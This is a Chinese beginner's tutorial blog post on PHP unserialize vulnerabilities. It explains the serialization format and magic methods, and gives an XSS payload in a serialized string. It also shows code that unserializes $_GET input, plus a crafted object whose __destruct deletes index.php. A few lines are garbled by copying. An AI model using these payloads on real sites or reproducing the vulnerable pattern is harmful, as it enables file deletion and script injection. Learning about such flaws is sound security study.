小白初见PHP反序列化漏洞

这里是一个PHP都不熟悉的小白同学，预习一下PHP反序列化

首先看下这个

class是声明一个类S，public模式的变量test

用new运算符来创立对象s

接着用序列化函数处理对象s

输出如下

    O:代表object
    1:代表对象名字长度为一个字符
    S:对象的名称
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    pikachu:变量值

那么反序列化呢就是这样一个函数

   $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

而一般存在漏洞的原因是因为魔术函数（magic function）

对象：可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
类：一个共享相同结构和行为的对象的集合。
每个类的定义都以关键字class开头，后面跟着类的名字。
一个类可以包含有属于自己的变量，变量（称为“属性”）以及函数（“称为方法”）。
类定义了一件事物的抽象特点。通常来说，类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号“_”开头的，比如_construct,_destruct,_toString,_sleep,_wakeup等。这些函数在某些情况下会自动调用，比如：_construct当一个对象创建时调用（constructor）；_destruct当一个对象被销毁时调用（destructor）；_toString当一个对象被当作一个字符串时使用。

在这输入

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

就可以报错了。

不过这个倒也没有怎么利用magic function，所以我们继续来看下面的。

以下内容引用自https://blog.youkuaiyun.com/weixin_42751456/article/details/88758908

首先看看magic function的特性

<?php

class TestClass
{
    //一个变量
    public $variable = 'This is a string';
    //一个简单的方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //Constructor
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //Destructor
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //call
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时，__destruct会被调用
?>
//test1.php

会得到这样的结果

而以下是13个魔术函数

__construct()

实例化对象时被调用， 当__construct和以类名为函数名的函数同时存在时，__construct将被调用，另一个不被调用。

__destruct()

当删除一个对象或对象操作终止时被调用。

__call()

对象调用某个方法， 若方法存在，则直接调用；若不存在，则会去调用__call函数。

__get()

读取一个对象的属性时，若属性存在，则直接返回属性值； 若不存在，则会调用__get函数。

__set()

设置一个对象的属性时， 若属性存在，则直接赋值； 若不存在，则会调用__set函数。

__toString()

打印一个对象的时被调用。如echo obj;或printobj;

__clone()

克隆对象时被调用。如：t=newTest();t1=clone $t;

__sleep()

serialize之前被调用。若对象比较大，想删减一点东东再序列化，可考虑一下此函数。

__wakeup()

unserialize时被调用，做些对象的初始化工作。

__isset()

检测一个对象的属性是否存在时被调用。如：isset($c->name)。

__unset()

unset一个对象的属性时被调用。如：unset($c->name)。

__set_state()

调用var_export时，被调用。用__set_state的返回值做为var_export的返回值。

__autoload()

实例化一个对象时，如果对应的类不存在，则该方法被调用。

然后这里是一个漏洞实例。

首先定义一个logfile类

<?php

class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>
//test5.php

再调用这个类

<?php

include 'test5.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>
//一个示例代码

从代码中可以看到：usr=unserialize(usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的，那么我们就可以构造输入删除任意文件
构造输入删除目录下的index.php文件：

<?php
include 'test5.php';
$object = new logfile();
$object->filename = 'index.php';

echo serialize($object).'<br />';

?>
//test7.php

然后就完成了！删掉了index.php